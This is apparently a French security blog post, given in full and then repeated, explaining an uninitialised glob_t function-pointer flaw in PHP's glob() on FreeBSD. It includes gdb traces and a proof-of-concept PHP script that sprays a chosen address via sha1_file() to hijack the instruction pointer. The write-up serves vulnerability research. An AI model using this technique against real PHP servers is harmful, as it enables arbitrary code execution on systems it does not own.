Aujourd'hui, le balancement de pointeur...
Messieurs dames,
Le programme de la blackhat[1] vient d'être laché dans la jungle. Au programme, du réréréchauffé bien sûr, du *yeah* j'ai trouvé un remote root dans puffy... et les DANGLING POINTERS de monsieur Jonathan Afek.
Ça fait classouille devant les gonzes de parler de dangling pointers mais c'est quoi? Bein c'est tout simplement un pointeur non-initialisé ou "plus valide" (ej. après un free)... je pense qu'il peut remballer ces expressions barbares le monsieur.
Qu'est-ce qu'il va présenter sur ces pointeurs un peu trop poilus?
NON D'UNE PIPE EN BOIS.
Bon OK, il va peut-être montrer un truc de ouf qui fasse hisser les tétons, mais de là à dire qu'aucune exploitation à distance de ce type de bug n'a jamais été publiée... humhum j'en doute. À mon souvenir j'ai déjà vu des barbus (FLAKE FLOCK et non mercy) parler de "HEAP/STACK/ZIZI spraying" et d'"Exploiting Uninitialized variables" et des exploits ont été publiés, sisi... quoi tu me crois pas? Bon OK, on va prendre une vuln. au pif... ou pas... ET PAN. :)
PHP Glob() Function Arbitrary Code Execution Vulnerability.
Tadam, explications.
Le glob() de PHP n'est qu'un wrapper à son homologue de la libc qui prend en argument une structure glob_t qui contient des pointeurs sur fonctions qui seront appelées si on passe le flag GLOB_ALTDIRFUNC à la fonction. Or PHP n'initialise pas sa structure glob_t qu'il déclare sur la pile et ne vérifie pas l'argument $flags que l'on passe à glob() donc...
(clem1@pouik:~/vulndev/php/glob)$ cat bookak.php
<?php glob("coincoin", 64); ?>
(clem1@pouik:~/vulndev/php/glob)$ php bookak.php
Segmentation fault: 11 (core dumped)
(64 == GLOB_ALTDIRFUNC sur FreeBSD)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
(...)
#0 0xbfbfe76d in ?? ()
(gdb) print globbuf
$1 = {gl_pathc = 140, gl_matchc = 0, gl_offs = 0, gl_flags = -1073742081, gl_pathv = 0x7263696d,
gl_errfunc = 0, gl_closedir = 0x65, gl_readdir = 0xbfbfe770, gl_opendir = 0x8c,
gl_lstat = 0xbfbfe76c, gl_stat = 0x2}
OK, la structure globbuf (glob_t) n'est effectivement pas initialisée et quand on passe le flag magic, la fonction glob() de la libc tente d'appeler la fonction gl_lstat référencer dans la structure par un pointeur.
Bon maintenant, il faut réussir à faire quelques choses avec ce pointeur...
Première solution, on regarde où il pointe et on essaie de claquer quelques choses de bien à cette adresse. Pour cela soit on le fait à la belge et on claque pleins de trucs à la con avant notre glob() soit on regarde d'où vient cette adresse^Woctets posés sur la stack en analysant le flot d'exécution du programme. C'est un peu chiant mais j'ai réussi à avoir un exploit reliable (il est pas mal ce mot aussi) pour FreeBSD et php5, non vous ne l'aurait pas.
Deuxième solution, c'est la plus simple, on va éjaculer du pointeur poilu sur la pile, pour cela on regarde dans les sources de PHP si on a pas de fonctions qui font des fread ou autres sur un char buffer[] énorme et il y en a pas mal... sha1_file(), readfile()... On crée alors notre fichier qui va contenir pleins de fois l'adresse qu'on veut voir dans gl_lstat, on appelle sha1_file() sur ce fichier et on appelle notre 3v1l glob()... et paf... cacahuètes. Démonstration les amis...
(clem1@pouik:~/vulndev/php/glob)$ cat cacahuete.php
<?php
$ret = "\xDE\xDE\xDA\xDA";
$buf = str_repeat($ret, 8000);
$foo = fopen("owned", "w");
fwrite($foo, $buf);
fclose($foo);
sha1_file("owned");
unlink("owned");
glob("TU SENS LA MOULE", 64);
?>
(clem1@pouik:~/vulndev/php/glob)$ php cacahuete.php
Segmentation fault: 11 (core dumped)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
GNU gdb 6.1.1 [FreeBSD]
(...)
#0 0xdadadede in ?? ()
PINCE À TÉTONS #@!#@! et ça works même avec le patch qui sens le sushi pas frais du php-security-man.
Bon OK, c'était pas vraiment à distance mais c'est presque pareil.
Rendez-vous après la mise en ligne de la présentation. ;-)
[1] ah bon? y'a des gens en costard à la blackhat? gni?
Le programme de la blackhat[1] vient d'être laché dans la jungle. Au programme, du réréréchauffé bien sûr, du *yeah* j'ai trouvé un remote root dans puffy... et les DANGLING POINTERS de monsieur Jonathan Afek.
Ça fait classouille devant les gonzes de parler de dangling pointers mais c'est quoi? Bein c'est tout simplement un pointeur non-initialisé ou "plus valide" (ej. après un free)... je pense qu'il peut remballer ces expressions barbares le monsieur.
Qu'est-ce qu'il va présenter sur ces pointeurs un peu trop poilus?
Until now there was no publicly known remote exploitation of this type of bug. Watchfire security researchers discovered a practical method of exploiting this issue and will demonstrate for the first time an example exploitation that involves a remote command execution vulnerability.
NON D'UNE PIPE EN BOIS.
Bon OK, il va peut-être montrer un truc de ouf qui fasse hisser les tétons, mais de là à dire qu'aucune exploitation à distance de ce type de bug n'a jamais été publiée... humhum j'en doute. À mon souvenir j'ai déjà vu des barbus (FLAKE FLOCK et non mercy) parler de "HEAP/STACK/ZIZI spraying" et d'"Exploiting Uninitialized variables" et des exploits ont été publiés, sisi... quoi tu me crois pas? Bon OK, on va prendre une vuln. au pif... ou pas... ET PAN. :)
PHP Glob() Function Arbitrary Code Execution Vulnerability.
Tadam, explications.
Le glob() de PHP n'est qu'un wrapper à son homologue de la libc qui prend en argument une structure glob_t qui contient des pointeurs sur fonctions qui seront appelées si on passe le flag GLOB_ALTDIRFUNC à la fonction. Or PHP n'initialise pas sa structure glob_t qu'il déclare sur la pile et ne vérifie pas l'argument $flags que l'on passe à glob() donc...
(clem1@pouik:~/vulndev/php/glob)$ cat bookak.php
<?php glob("coincoin", 64); ?>
(clem1@pouik:~/vulndev/php/glob)$ php bookak.php
Segmentation fault: 11 (core dumped)
(64 == GLOB_ALTDIRFUNC sur FreeBSD)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
(...)
#0 0xbfbfe76d in ?? ()
(gdb) print globbuf
$1 = {gl_pathc = 140, gl_matchc = 0, gl_offs = 0, gl_flags = -1073742081, gl_pathv = 0x7263696d,
gl_errfunc = 0, gl_closedir = 0x65, gl_readdir = 0xbfbfe770, gl_opendir = 0x8c,
gl_lstat = 0xbfbfe76c, gl_stat = 0x2}
OK, la structure globbuf (glob_t) n'est effectivement pas initialisée et quand on passe le flag magic, la fonction glob() de la libc tente d'appeler la fonction gl_lstat référencer dans la structure par un pointeur.
Bon maintenant, il faut réussir à faire quelques choses avec ce pointeur...
Première solution, on regarde où il pointe et on essaie de claquer quelques choses de bien à cette adresse. Pour cela soit on le fait à la belge et on claque pleins de trucs à la con avant notre glob() soit on regarde d'où vient cette adresse^Woctets posés sur la stack en analysant le flot d'exécution du programme. C'est un peu chiant mais j'ai réussi à avoir un exploit reliable (il est pas mal ce mot aussi) pour FreeBSD et php5, non vous ne l'aurait pas.
Deuxième solution, c'est la plus simple, on va éjaculer du pointeur poilu sur la pile, pour cela on regarde dans les sources de PHP si on a pas de fonctions qui font des fread ou autres sur un char buffer[] énorme et il y en a pas mal... sha1_file(), readfile()... On crée alors notre fichier qui va contenir pleins de fois l'adresse qu'on veut voir dans gl_lstat, on appelle sha1_file() sur ce fichier et on appelle notre 3v1l glob()... et paf... cacahuètes. Démonstration les amis...
(clem1@pouik:~/vulndev/php/glob)$ cat cacahuete.php
<?php
$ret = "\xDE\xDE\xDA\xDA";
$buf = str_repeat($ret, 8000);
$foo = fopen("owned", "w");
fwrite($foo, $buf);
fclose($foo);
sha1_file("owned");
unlink("owned");
glob("TU SENS LA MOULE", 64);
?>
(clem1@pouik:~/vulndev/php/glob)$ php cacahuete.php
Segmentation fault: 11 (core dumped)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
GNU gdb 6.1.1 [FreeBSD]
(...)
#0 0xdadadede in ?? ()
PINCE À TÉTONS #@!#@! et ça works même avec le patch qui sens le sushi pas frais du php-security-man.
Bon OK, c'était pas vraiment à distance mais c'est presque pareil.
Rendez-vous après la mise en ligne de la présentation. ;-)
[1] ah bon? y'a des gens en costard à la blackhat? gni?
Labels: sayku